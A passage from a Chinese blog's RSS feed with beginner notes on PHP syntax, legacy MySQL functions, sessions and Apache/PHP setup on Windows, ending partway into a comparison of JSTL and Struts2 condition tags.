</span><span style="color: #008080">4</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;}&nbsp;<br />
</span><span style="color: #008080">5</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000">?&gt;</span><span style="color: #000000">&nbsp;</span></div>
<p>&nbsp;</p>
<p>9、 switch 循环</p>
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><span style="color: #008080">&nbsp;1</span><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /><span style="color: #000000">&lt;?</span><span style="color: #000000">php&nbsp;<br />
</span><span style="color: #008080">&nbsp;2</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;</span><span style="color: #0000ff">switch</span><span style="color: #000000">&nbsp;(</span><span style="color: #008080">date</span><span style="color: #000000">(</span><span style="color: #000000">"</span><span style="color: #000000">D</span><span style="color: #000000">"</span><span style="color: #000000">))&nbsp;{&nbsp;<br />
</span><span style="color: #008080">&nbsp;3</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">case</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">Mon</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">:</span><span style="color: #000000">&nbsp;<br />
</span><span style="color: #008080">&nbsp;4</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">echo</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">今天星期一</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;;&nbsp;<br />
</span><span style="color: #008080">&nbsp;5</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">break</span><span style="color: #000000">;&nbsp;<br />
</span><span style="color: #008080">&nbsp;6</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">case</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">Tue</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">:</span><span style="color: #000000">&nbsp;<br />
</span><span style="color: #008080">&nbsp;7</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">echo</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">今天星期二</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;;&nbsp;<br />
</span><span style="color: #008080">&nbsp;8</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">break</span><span style="color: #000000">;&nbsp;<br />
</span><span style="color: #008080">&nbsp;9</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">case</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">Wed</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">:</span><span style="color: #000000">&nbsp;<br />
</span><span style="color: #008080">10</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">echo</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">今天星期三</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;;&nbsp;<br />
</span><span style="color: #008080">11</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">break</span><span style="color: #000000">;&nbsp;<br />
</span><span style="color: #008080">12</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">case</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">Thu</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">:</span><span style="color: #000000">&nbsp;<br />
</span><span style="color: #008080">13</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">echo</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">今天星期四</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;;&nbsp;<br />
</span><span style="color: #008080">14</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">break</span><span style="color: #000000">;&nbsp;<br />
</span><span style="color: #008080">15</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">case</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">Fri</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">:</span><span style="color: #000000">&nbsp;<br />
</span><span style="color: #008080">16</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">echo</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">今天星期五</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;;&nbsp;<br />
</span><span style="color: #008080">17</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">break</span><span style="color: #000000">;&nbsp;<br />
</span><span style="color: #008080">18</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">default</span><span style="color: #000000">:</span><span style="color: #000000">&nbsp;<br />
</span><span style="color: #008080">19</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">echo</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">今天放假</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;;&nbsp;<br />
</span><span style="color: #008080">20</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">break</span><span style="color: #000000">;&nbsp;<br />
</span><span style="color: #008080">21</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;}&nbsp;<br />
</span><span style="color: #008080">22</span><span style="color: #000000"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000">?&gt;</span><span style="color: #000000">&nbsp;</span></div>
<p>需要注意的是break;别遗漏了，default，省略是可以的。 <br />
<br />
数据库操作：<br />
</p>
<p>1、mysql_connect </p>
<p>打开 MySQL 服务器连接。 <br />
语法: int mysql_connect(string [hostname] [:port], string [username], string [password]); 返回值: 整数 </p>
<p>本函数建立与 MySQL 服务器的连接。其中所有的参数都可省略。当使用本函数却不加任何参数时，参数 hostname 的默认值为 localhost、参数 username 的默认值为 PHP 执行行程的拥有者、参数 password 则为空字符串 (即没有密码)。而参数 hostname 后面可以加冒号与端口号，代表使用哪个端口与 MySQL 连接。<br />
提示：使用 mysql_close() 将连接关掉可以节省资源。 </p>
<p>2、 mysql_select_db </p>
<p>选择一个数据库。 <br />
语法: int mysql_select_db(string database_name, int [link_identifier]); 返回值: 整数 </p>
<p>本函数选择 MySQL 服务器中的数据库以供之后的资料查询作业 (query) 处理。成功返回 true，失败则返回 false。 </p>
<p>最简单的例子： </p>
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><span style="color: #008080">1</span><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #000000">&lt;?</span><span style="color: #000000">php<br />
</span><span style="color: #008080">2</span><span style="color: #000000"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;</span><span style="color: #800080">$conn</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #008080">mysql_connect</span><span style="color: #000000">&nbsp;(</span><span style="color: #000000">"</span><span style="color: #000000">127.0.0.1:3306</span><span style="color: #000000">"</span><span style="color: #000000">,</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">root</span><span style="color: #000000">"</span><span style="color: #000000">,</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">root</span><span style="color: #000000">"</span><span style="color: #000000">);<br />
</span><span style="color: #008080">3</span><span style="color: #000000"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;</span><span style="color: #008080">mysql_select_db</span><span style="color: #000000">(</span><span style="color: #000000">"</span><span style="color: #000000">shop</span><span style="color: #000000">"</span><span style="color: #000000">);&nbsp;<br />
</span><span style="color: #008080">4</span><span style="color: #000000"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">?&gt;</span><span style="color: #000000">&nbsp;</span></div>
<p>连接机MY SQL数据库，打开php数据库。</p>
<br />
3、mysql_query <br />
送出一个 query 字符串。 <br />
语法: int mysql_query(string query, int [link_identifier]); 返回值: 整数
<p>本函数送出 query 字符串供 MySQL 做相关的处理或者执行。若没有指定 link_identifier 参数，则程序会自动寻找最近打开的 ID。当 query 查询字符串是 UPDATE、INSERT 及 DELETE 时，返回的可能是 true 或者 false；查询的字符串是 SELECT 则返回新的 ID 值，当返回 false 时，并不是执行成功但无返回值，而是查询的字符串有错误。 </p>
<p>4、mysql_fetch_object <br />
返回类资料。 <br />
语法: object mysql_fetch_object(int result, int [result_typ]); 返回值: 类 </p>
<p>本函数用来将查询结果 result 拆到类变量中。若 result 没有资料，则返回 false 值。 </p>
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><span style="color: #008080">1</span><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #000000">&lt;?</span><span style="color: #000000">&nbsp;php<br />
</span><span style="color: #008080">2</span><span style="color: #000000"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;</span><span style="color: #800080">$exec</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">select&nbsp;*&nbsp;from&nbsp;user</span><span style="color: #000000">"</span><span style="color: #000000">;&nbsp;<br />
</span><span style="color: #008080">3</span><span style="color: #000000"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;</span><span style="color: #800080">$result</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #008080">mysql_query</span><span style="color: #000000">(</span><span style="color: #800080">$exec</span><span style="color: #000000">);&nbsp;<br />
</span><span style="color: #008080">4</span><span style="color: #000000"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;</span><span style="color: #0000ff">while</span><span style="color: #000000">(</span><span style="color: #800080">$rs</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #008080">mysql_fetch_object</span><span style="color: #000000">(</span><span style="color: #800080">$result</span><span style="color: #000000">))&nbsp;<br />
</span><span style="color: #008080">5</span><span style="color: #000000"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;{&nbsp;<br />
</span><span style="color: #008080">6</span><span style="color: #000000"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">echo</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">username:</span><span style="color: #000000">"</span><span style="color: #000000">.</span><span style="color: #800080">$rs</span><span style="color: #000000">-&gt;</span><span style="color: #000000">username</span><span style="color: #000000">.</span><span style="color: #000000">"</span><span style="color: #000000">&lt;br&gt;</span><span style="color: #000000">"</span><span style="color: #000000">;&nbsp;<br />
</span><span style="color: #008080">7</span><span style="color: #000000"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;}&nbsp;<br />
</span><span style="color: #008080">8</span><span style="color: #000000"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">?&gt;</span></div>
<p>&nbsp; </p>
SESSION的使用：<br />
<p>在页面开始我们要session_start();开启SESSION；然后就可以使用SESSION变量了。<br />
赋值：$_SESSION['username'] = "cyanbomb";<br />
读取：$username = $_SESSION['username'];<br />
判断是不是某SESSION变量为空：empty($_SESSION['username'])，返回true or false。</p>
<img src ="http://www.blogjava.net/cyanbomb/aggbug/175726.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/cyanbomb/" target="_blank">cyanbomb</a> 2008-01-16 16:57 <a href="http://www.blogjava.net/cyanbomb/archive/2008/01/16/175726.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>PHP学习小记——安装配置</title><link>http://www.blogjava.net/cyanbomb/archive/2008/01/16/175709.html</link><dc:creator>cyanbomb</dc:creator><author>cyanbomb</author><pubDate>Wed, 16 Jan 2008 07:48:00 GMT</pubDate><guid>http://www.blogjava.net/cyanbomb/archive/2008/01/16/175709.html</guid><wfw:comment>http://www.blogjava.net/cyanbomb/comments/175709.html</wfw:comment><comments>http://www.blogjava.net/cyanbomb/archive/2008/01/16/175709.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/cyanbomb/comments/commentRss/175709.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/cyanbomb/services/trackbacks/175709.html</trackback:ping><description><![CDATA[<p>工具版本如下：<br />
1、apache_2.0.55-win32-x86-no_ssl.msi<br />
2、php-5.2.5-Win32.zip<br />
3、mysql-5.0.10a-beta-win32.zip</p>
<p>我本来用的是apache2.2.6和php2，可是始终没测试成功，后来看到网上有人说apache2.2和php5不兼容，我换了现在的2.0版本，一试一次性成功了，呵呵。<br />
<br />
配置：<br />
<br />
1、配置Apache服务器(httpd.conf)<br />
<br />
<img alt="" src="http://www.blogjava.net/images/blogjava_net/cyanbomb/httpd_1.jpg" border="0" /><br />
<br />
&#8220;DocumentRoot&#8221;指的是网站根目录，即apache安装目录下的htdocs文件夹。<br />
<br />
注意：路径地址里的&#8220;\&#8221;在Apache里要改成&#8220;/&#8221;。<br />
<br />
<img alt="" src="http://www.blogjava.net/images/blogjava_net/cyanbomb/httpd_2.jpg" border="0" /><br />
<br />
&#8220;DirectoryIndex&#8221;（目录索引），也就是在仅指定目录的情况下，默认显示的文件名，可以添加多个，系统会根据从左至右的顺<br />
<br />
序来优先显示，以单个半角空格隔开。<br />
<br />
<img alt="" src="http://www.blogjava.net/images/blogjava_net/cyanbomb/httpd_3.jpg" border="0" /><br />
<br />
&#8220;# DefaultLanguage nl&#8221;前面的&#8220;# &#8221;去掉，把&#8220;nl&#8221;改成你要强制输出的语言，中文是&#8220;zh-CN&#8221;，这样就强制了所有输出文件的语<br />
<br />
言编码。<br />
<br />
<img height="464" alt="" src="http://www.blogjava.net/images/blogjava_net/cyanbomb/httpd_4.jpg" width="607" border="0" /><br />
<br />
&#8220;LoadModule php5_module E:/php/php5apache2.dll&#8221;是指以module方式加载ph；<br />
<br />
&#8220;PHPIniDir "E:/php"&#8221;是指明php的配置文件php.ini的位置。<br />
<br />
<img alt="" src="http://www.blogjava.net/images/blogjava_net/cyanbomb/httpd_5.jpg" border="0" /><br />
<br />
加上&#8220;AddType application/x-httpd-php .php&#8221;、&#8220;AddType application/x-httpd-php .html&#8221;两行，则.php和.html文件就可以执行php程序<br />
<br />
了，你甚至还可以添加上一行&#8220;AddType application/x-httpd-php .txt&#8221;，让普通的文本文件格式也能运行php程序。<br />
<br />
2、php配置<br />
<br />
把php目录（例：E:\php）下的php.ini-dist重命名为php.ini<br />
<br />
设置系统环境变量，将php安装路径、及里面的ext路径写入PATH当中，如：E:\php;E:\php\ext。系统路径添加好后要重启电脑才能<br />
<br />
生效。<br />
<br />
<img height="245" alt="" src="http://www.blogjava.net/images/blogjava_net/cyanbomb/php_ini_1.jpg" width="479" border="0" /><br />
<br />
php.ini文件中有个&#8220;register_globals = Off&#8221;值，这个值是用来打开全局变量的，比如表单送过来的值，如果这个值设为&#8220;Off&#8221;，就只<br />
<br />
能用&#8220;$_POST['变量名']、$_GET['变量名 ']&#8221;等来取得送过来的值，如果设为&#8220;On&#8221;，就可以直接使用&#8220;$变量名&#8221;来获取送过来<br />
<br />
的值，当然，设为&#8220;Off&#8221;就比较安全，不会让人轻易将网页间传送的数据截取。<br />
<br />
<img alt="" src="http://www.blogjava.net/images/blogjava_net/cyanbomb/php_ini_2.jpg" border="0" /><br />
<br />
要使php能够直接调用其它模块，如图所示，只须选择要加载的模块，去掉前面的 &#8220;;&#8221;，就表示要加载此模块了。比如我要用<br />
<br />
mysql，就要把&#8220;;extension= php_mysql.dll&#8221;前的&#8220;;&#8221;去掉。所有的模块文件都放在php解压缩目录的&#8220;ext&#8221;之下。<br />
<br />
以上都是我随便先记录下来的，到这php与Apache的结合已经算完成了，至于mysql好像没什么要配了，可能有点乱，我也是菜<br />
<br />
鸟，刚学，见笑了，请大家多提宝贵意见，我会慢慢更新的。<br />
<br />
<span style="font-family: 隶书"><span style="color: red"><span style="font-family: 隶书"><span style="font-family: 隶书"><span style="color: #000000; font-family: 隶书">----------------------------<br />
</span></span></span><span style="font-family: 隶书"><span style="color: red">珍惜原创,谢绝盗版! <span style="color: rgb(0,0,255)">- cYanbomb</span></span></span><br />
</span></span></p>
<img src ="http://www.blogjava.net/cyanbomb/aggbug/175709.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/cyanbomb/" target="_blank">cyanbomb</a> 2008-01-16 15:48 <a href="http://www.blogjava.net/cyanbomb/archive/2008/01/16/175709.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JSTL与Struts2标签的使用对比</title><link>http://www.blogjava.net/cyanbomb/archive/2007/12/29/171440.html</link><dc:creator>cyanbomb</dc:creator><author>cyanbomb</author><pubDate>Sat, 29 Dec 2007 03:15:00 GMT</pubDate><guid>http://www.blogjava.net/cyanbomb/archive/2007/12/29/171440.html</guid><wfw:comment>http://www.blogjava.net/cyanbomb/comments/171440.html</wfw:comment><comments>http://www.blogjava.net/cyanbomb/archive/2007/12/29/171440.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.blogjava.net/cyanbomb/comments/commentRss/171440.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/cyanbomb/services/trackbacks/171440.html</trackback:ping><description><![CDATA[1. 条件标签<br />
&nbsp;&nbsp;&nbsp; JSTL:&nbsp; <br />
<div style="border-right: rgb(204,204,204) 1px solid; padding-right: 5px; border-top: rgb(204,204,204) 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: rgb(204,204,204) 1px solid; width: 98%; padding-top: 4px; border-bottom: rgb(204,204,204) 1px solid; background-color: rgb(238,238,238)"><!--<br />
<br />
Code highlighting produced by Actipro CodeHighlighter (freeware)<br />
http://www.CodeHighlighter.com/<br />
<br />
--><span style="color: rgb(0,128,128)">&nbsp;1</span>&nbsp;<span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">c:if&nbsp;</span><span style="color: rgb(255,0,0)">test</span><span style="color: rgb(0,0,255)">="${user.password&nbsp;==&nbsp;'hello'}"</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">&nbsp;2</span>&nbsp;<span style="color: rgb(0,0,0)">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">c:choose</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">&nbsp;3</span>&nbsp;<span style="color: rgb(0,0,0)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">c:when&nbsp;</span><span style="color: rgb(255,0,0)">test</span><span style="color: rgb(0,0,255)">="${user.age&nbsp;&lt;=&nbsp;18}"</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">&nbsp;4</span>&nbsp;<span style="color: rgb(0,0,0)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; </span><span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">font&nbsp;</span><span style="color: rgb(255,0,0)">color</span><span style="color: rgb(0,0,255)">="blue"</span><span style="color: rgb(255,0,0)">&nbsp;</span><span style="color: rgb(0,0,255)">/&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">&nbsp;5</span>&nbsp;<span style="color: rgb(0,0,0)">&nbsp;&nbsp;&nbsp; </span><span style="color: rgb(0,0,255)">&nbsp;&nbsp;&nbsp; &lt;/</span><span style="color: rgb(128,0,0)">c:when</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">&nbsp;6</span>&nbsp;<span style="color: rgb(0,0,0)">&nbsp;&nbsp;&nbsp; </span><span style="color: rgb(0,0,255)">&nbsp;&nbsp;&nbsp; &lt;</span><span style="color: rgb(128,0,0)">c:when&nbsp;</span><span style="color: rgb(255,0,0)">test</span><span style="color: rgb(0,0,255)">="${user.age&nbsp;&lt;=&nbsp;30&nbsp;&amp;&amp;&nbsp;user.age&nbsp;&gt;&nbsp;18}"</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">&nbsp;7</span>&nbsp;<span style="color: rgb(0,0,0)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: rgb(0,0,255)">&nbsp;&nbsp;&nbsp; &lt;</span><span style="color: rgb(128,0,0)">font&nbsp;</span><span style="color: rgb(255,0,0)">color</span><span style="color: rgb(0,0,255)">="red"</span><span style="color: rgb(255,0,0)">&nbsp;</span><span style="color: rgb(0,0,255)">/&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">&nbsp;8</span>&nbsp;<span style="color: rgb(0,0,0)">&nbsp;&nbsp;&nbsp; </span><span style="color: rgb(0,0,255)">&nbsp;&nbsp;&nbsp; &lt;/</span><span style="color: rgb(128,0,0)">c:when</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">&nbsp;9</span>&nbsp;<span style="color: rgb(0,0,0)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">c:otherwise</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">10</span>&nbsp;<span style="color: rgb(0,0,0)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; </span><span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">font&nbsp;</span><span style="color: rgb(255,0,0)">color</span><span style="color: rgb(0,0,255)">="green"</span><span style="color: rgb(255,0,0)">&nbsp;</span><span style="color: rgb(0,0,255)">/&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">11</span>&nbsp;<span style="color: rgb(0,0,0)">&nbsp;&nbsp;&nbsp; </span><span style="color: rgb(0,0,255)">&nbsp;&nbsp;&nbsp; &lt;/</span><span style="color: rgb(128,0,0)">c:otherwise</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">12</span>&nbsp;<span style="color: rgb(0,0,0)">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0,0,255)">&lt;/</span><span style="color: rgb(128,0,0)">c:choose</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">13</span>&nbsp;<span style="color: rgb(0,0,255)">&lt;/</span><span style="color: rgb(128,0,0)">c:if</span><span style="color: rgb(0,0,255)">&gt;</span></div>
&nbsp;&nbsp;&nbsp; Struts2:<br />
<div style="border-right: rgb(204,204,204) 1px solid; padding-right: 5px; border-top: rgb(204,204,204) 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: rgb(204,204,204) 1px solid; width: 98%; padding-top: 4px; border-bottom: rgb(204,204,204) 1px solid; background-color: rgb(238,238,238)"><!--<br />
<br />
Code highlighting produced by Actipro CodeHighlighter (freeware)<br />
http://www.CodeHighlighter.com/<br />
<br />
--><span style="color: rgb(0,128,128)">1</span>&nbsp;<span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">s:if&nbsp;</span><span style="color: rgb(255,0,0)">test</span><span style="color: rgb(0,0,255)">="#</span><span style="color: rgb(0,0,255)">user.age &lt;</span><span style="color: rgb(0,0,255)">= 18"</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">2</span>&nbsp;<span style="color: rgb(0,0,0)">&nbsp;&nbsp;&nbsp; </span><span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">font&nbsp;</span><span style="color: rgb(255,0,0)">color</span><span style="color: rgb(0,0,255)">="blue"</span>&nbsp;<span style="color: rgb(0,0,255)">/&gt;</span><br />
<span style="color: rgb(0,128,128)">3</span>&nbsp;<span style="color: rgb(0,0,255)">&lt;/</span><span style="color: rgb(128,0,0)">s:if</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">4</span>&nbsp;<span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">s:elseif&nbsp;</span><span style="color: rgb(255,0,0)">test</span><span style="color: rgb(0,0,255)">="#user.age &lt;= 30 &amp;&amp; user.age &gt; 18"</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)"><br />
</span><span style="color: rgb(0,128,128)">5</span>&nbsp;<span style="color: rgb(0,0,0)">&nbsp;&nbsp;&nbsp; </span><span style="color: rgb(0,0,255)">&lt;</span><span style="color: rgb(128,0,0)">font&nbsp;</span><span style="color: rgb(255,0,0)">color</span><span style="color: rgb(0,0,255)">="red"</span>&nbsp;<span style="color: rgb(0,0,255)">/&gt;</span><br />
<span style="color: rgb(0,128,128)">6</span>&nbsp;<span style="color: rgb(0,0,255)">&lt;/</span><span style="color: rgb(128,0,0)">s:elseif</span><span style="color: rgb(0,0,255)">&gt;</span><span style="color: rgb(0,0,0)"><br />
